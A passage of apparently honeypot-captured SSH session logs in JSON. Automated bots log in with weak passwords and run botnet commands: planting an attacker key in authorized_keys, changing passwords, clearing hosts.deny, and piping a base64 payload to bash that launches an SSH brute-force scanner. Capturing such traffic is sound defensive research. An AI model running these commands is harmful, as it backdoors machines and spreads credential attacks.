\"root:YJeXXRtXmcNg\"|chpasswd|bash"},{"seq":6,"at":"2026-08-23T19:03:33.362532+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-23T19:03:33.633530+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-23T19:03:33.635997+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-23T19:03:33.661100+00:00","kind":"output","latency_ms":570,"data":""},{"seq":10,"at":"2026-08-23T19:03:33.906392+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-23T19:03:34.563171+00:00","kind":"output","latency_ms":657,"data":"15888 3921 11967 102 0 0"},{"seq":12,"at":"2026-08-23T19:03:34.837132+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-23T19:03:35.645799+00:00","kind":"output","latency_ms":814,"data":"-rwxr-xr-x 1 root root 148K Aug 20 03:09 /bin/ls"},{"seq":14,"at":"2026-08-23T19:03:35.919464+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-23T19:03:35.921396+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-23T19:03:36.191386+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-23T19:03:36.193069+00:00","kind":"output","latency_ms":null,"data":" 19:03:36 up 3 days, 15:53, 0 user, load average: 0.3, 0.21, 0.31\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-23T19:03:36.489379+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-23T19:03:36.493077+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-23T19:03:36.785302+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-23T19:03:36.788087+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-23T19:03:37.061291+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-23T19:03:37.063259+00:00","kind":"output","latency_ms":null,"data":"top - 19:03:37 up 3 days, 15:53, 0 user, load average: 0.3, 0.21, 0.31\nTasks: 111 total, 1 running, 110 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8579 free, 7308 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-23T19:03:37.333365+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-23T19:03:37.337069+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-23T19:03:37.610721+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-23T19:03:37.613063+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-23T19:03:37.885107+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-23T19:03:37.887323+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-23T19:03:38.161099+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-23T19:03:40.046170+00:00","kind":"output","latency_ms":1885,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":32,"at":"2026-08-23T19:03:40.321074+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-23T19:03:41.030143+00:00","kind":"output","latency_ms":710,"data":"24G"},{"seq":34,"at":"2026-08-23T19:03:41.907432+00:00","kind":"input","latency_ms":null,"data":"echo \"root jimmy123\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-23T19:03:42.184515+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-23T19:03:42.962138+00:00","kind":"output","latency_ms":778,"data":""},{"seq":37,"at":"2026-08-23T19:03:43.115424+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-23T19:03:43.640319+00:00","kind":"output","latency_ms":525,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":39,"at":"2026-08-23T19:03:43.914888+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-23T19:03:44.438516+00:00","kind":"output","latency_ms":525,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":41,"at":"2026-08-23T19:03:44.714095+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-23T19:03:44.984079+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-23T19:03:45.544151+00:00","kind":"output","latency_ms":560,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":44,"at":"2026-08-23T19:03:45.817925+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-23T19:03:47.404749+00:00","kind":"output","latency_ms":1588,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":46,"at":"2026-08-23T19:03:47.684221+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-23T19:03:48.314587+00:00","kind":"output","latency_ms":630,"data":""},{"seq":48,"at":"2026-08-23T19:03:55.918118+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":49,"at":"2026-08-23T19:03:55.921100+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"jimmy123","method":"password","accepted":true,"tier":"other"}]} {"id":"545cffd7-03e3-4536-b36a-0ee8088e6f97","name":"forlorn-foggy-cheetah","protocol":"ssh","channel_kind":"exec","src_ip":"103.216.145.2","src_port":49688,"username":"john","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":618,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-23T18:39:50.081206+00:00","ended_at":"2026-08-23T18:39:50.275426+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3384,"events":[{"seq":1,"at":"2026-08-23T18:39:08.526904+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-23T18:39:09.145062+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-23T18:39:15.880453+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-23T18:39:15.881131+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-23T18:39:16.500008+00:00","kind":"input","latency_ms":null,"data":"echo -e \"12345\\nVkE7QessKpmZ\\nVkE7QessKpmZ\"|passwd|bash"},{"seq":6,"at":"2026-08-23T18:39:17.116314+00:00","kind":"input","latency_ms":null,"data":"echo \"12345\\nVkE7QessKpmZ\\nVkE7QessKpmZ\\n\"|passwd"},{"seq":7,"at":"2026-08-23T18:39:17.737078+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-23T18:39:17.737586+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-23T18:39:18.355078+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-23T18:39:18.857410+00:00","kind":"output","latency_ms":503,"data":"15888 15432 456 0 0 0"},{"seq":11,"at":"2026-08-23T18:39:19.478394+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-23T18:39:20.081759+00:00","kind":"output","latency_ms":602,"data":"-rwxr-xr-x 1 root root 142K May 27 2026 /usr/bin/ls"},{"seq":13,"at":"2026-08-23T18:39:20.698645+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-23T18:39:20.698953+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-23T18:39:21.317448+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-23T18:39:21.319079+00:00","kind":"output","latency_ms":null,"data":" 18:39:21 up 3 days, 15:29, 0 user, load average: 0.26, 0.18, 0.21\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-23T18:39:21.935096+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-23T18:39:21.937454+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-23T18:39:22.554311+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-23T18:39:22.556075+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-23T18:39:23.174226+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-23T18:39:23.176075+00:00","kind":"output","latency_ms":null,"data":"top - 18:39:23 up 3 days, 15:29, 0 user, load average: 0.26, 0.18, 0.21\nTasks: 106 total, 1 running, 105 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9056 free, 6831 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-23T18:39:23.793364+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-23T18:39:23.795421+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-23T18:39:24.412707+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-23T18:39:24.414058+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-23T18:39:25.031763+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-23T18:39:25.032106+00:00","kind":"output","latency_ms":null,"data":"john"},{"seq":29,"at":"2026-08-23T18:39:25.650584+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-23T18:39:26.264178+00:00","kind":"output","latency_ms":612,"data":"Model name: AMD EPYC 7713 64-Core Processor\n"},{"seq":31,"at":"2026-08-23T18:39:26.880150+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-23T18:39:27.311923+00:00","kind":"output","latency_ms":431,"data":"24G"},{"seq":33,"at":"2026-08-23T18:39:29.303674+00:00","kind":"input","latency_ms":null,"data":"echo \"john 12345\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-23T18:39:29.921484+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-23T18:39:30.290125+00:00","kind":"output","latency_ms":366,"data":""},{"seq":36,"at":"2026-08-23T18:39:32.120381+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-23T18:39:32.768163+00:00","kind":"output","latency_ms":646,"data":"cache: hayloft\ntoken: 7c2f1b9e4a8d\nstatus: warm"},{"seq":38,"at":"2026-08-23T18:39:33.386650+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-23T18:39:33.920726+00:00","kind":"output","latency_ms":534,"data":"cache: hayloft\ntoken: 7c2f1b9e4a8d\nstatus: warm"},{"seq":40,"at":"2026-08-23T18:39:34.542552+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-23T18:39:35.165587+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-23T18:39:35.737120+00:00","kind":"output","latency_ms":577,"data":"cache: hayloft\ntoken: 7c2f1b9e4a8d\nstatus: warm"},{"seq":43,"at":"2026-08-23T18:39:36.354557+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-23T18:39:37.131202+00:00","kind":"output","latency_ms":774,"data":"cache: hayloft\ntoken: 7c2f1b9e4a8d\nstatus: warm"},{"seq":45,"at":"2026-08-23T18:39:37.750452+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-23T18:39:38.208967+00:00","kind":"output","latency_ms":457,"data":""},{"seq":47,"at":"2026-08-23T18:39:50.083476+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-23T18:39:50.083967+00:00","kind":"output","latency_ms":null,"data":"john"}],"credentials":[{"username":"john","password":"12345","method":"password","accepted":true,"tier":"other"}]} {"id":"992d97c7-77cd-4152-bd8f-bf9b52fc8828","name":"frosty-grumpy-jackal","protocol":"ssh","channel_kind":"exec","src_ip":"202.145.0.61","src_port":51740,"username":"virt","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":722,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-23T18:39:00.639689+00:00","ended_at":"2026-08-23T18:39:00.867053+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3739,"events":[{"seq":1,"at":"2026-08-23T18:38:18.946747+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-23T18:38:19.667277+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-23T18:38:26.862238+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-23T18:38:26.862634+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-23T18:38:27.584229+00:00","kind":"input","latency_ms":null,"data":"echo -e \"virt\\njj447sWPQgp8\\njj447sWPQgp8\"|passwd|bash"},{"seq":6,"at":"2026-08-23T18:38:28.305393+00:00","kind":"input","latency_ms":null,"data":"echo \"virt\\njj447sWPQgp8\\njj447sWPQgp8\\n\"|passwd"},{"seq":7,"at":"2026-08-23T18:38:29.026121+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-23T18:38:29.026756+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-23T18:38:29.746587+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-23T18:38:30.323785+00:00","kind":"output","latency_ms":577,"data":"15888 2123 10345 0 3420 0"},{"seq":11,"at":"2026-08-23T18:38:31.047119+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-23T18:38:31.970443+00:00","kind":"output","latency_ms":924,"data":"-rwxr-xr-x 1 root root 151K Apr 24 2026 /usr/bin/ls"},{"seq":13,"at":"2026-08-23T18:38:32.691329+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-23T18:38:32.693064+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-23T18:38:33.413931+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-23T18:38:33.414571+00:00","kind":"output","latency_ms":null,"data":" 18:38:33 up 3 days, 15:28, 0 user, load average: 0.06, 0.05, 0.04\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-23T18:38:34.133871+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-23T18:38:34.135125+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-23T18:38:34.857812+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-23T18:38:34.859060+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-23T18:38:35.582742+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-23T18:38:35.585304+00:00","kind":"output","latency_ms":null,"data":"top - 18:38:35 up 3 days, 15:28, 0 user, load average: 0.06, 0.05, 0.04\nTasks: 121 total, 1 running, 120 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9691 free, 6196 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-23T18:38:36.302070+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-23T18:38:36.302623+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-23T18:38:37.023730+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-23T18:38:37.024353+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-23T18:38:37.745080+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-23T18:38:37.745519+00:00","kind":"output","latency_ms":null,"data":"virt"},{"seq":29,"at":"2026-08-23T18:38:38.467728+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-23T18:38:39.505122+00:00","kind":"output","latency_ms":1037,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-23T18:38:40.227528+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-23T18:38:40.883556+00:00","kind":"output","latency_ms":655,"data":"25G"},{"seq":33,"at":"2026-08-23T18:38:43.129601+00:00","kind":"input","latency_ms":null,"data":"echo \"virt virt\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-23T18:38:43.854373+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-23T18:38:44.351143+00:00","kind":"output","latency_ms":499,"data":""},{"seq":36,"at":"2026-08-23T18:38:46.437423+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-23T18:38:46.920688+00:00","kind":"output","latency_ms":484,"data":"virt virt"},{"seq":38,"at":"2026-08-23T18:38:47.641565+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-23T18:38:48.036501+00:00","kind":"output","latency_ms":393,"data":"virt virt"},{"seq":40,"at":"2026-08-23T18:38:48.759938+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-23T18:38:49.478552+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-23T18:38:49.959170+00:00","kind":"output","latency_ms":478,"data":"virt virt"},{"seq":43,"at":"2026-08-23T18:38:50.685428+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-23T18:38:51.119146+00:00","kind":"output","latency_ms":437,"data":"1"},{"seq":45,"at":"2026-08-23T18:38:51.842078+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-23T18:38:52.509244+00:00","kind":"output","latency_ms":667,"data":""},{"seq":47,"at":"2026-08-23T18:39:00.641388+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-23T18:39:00.642041+00:00","kind":"output","latency_ms":null,"data":"virt"}],"credentials":[{"username":"virt","password":"virt","method":"password","accepted":true,"tier":"other"}]} {"id":"44791e79-6a9a-48df-b16a-8a9d34c43098","name":"wandering-blunt-grouse","protocol":"ssh","channel_kind":"exec","src_ip":"102.211.152.138","src_port":47036,"username":"adminweb","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":349,"probe_flagged":0,"exec_command":"cd ~; chattr -ia 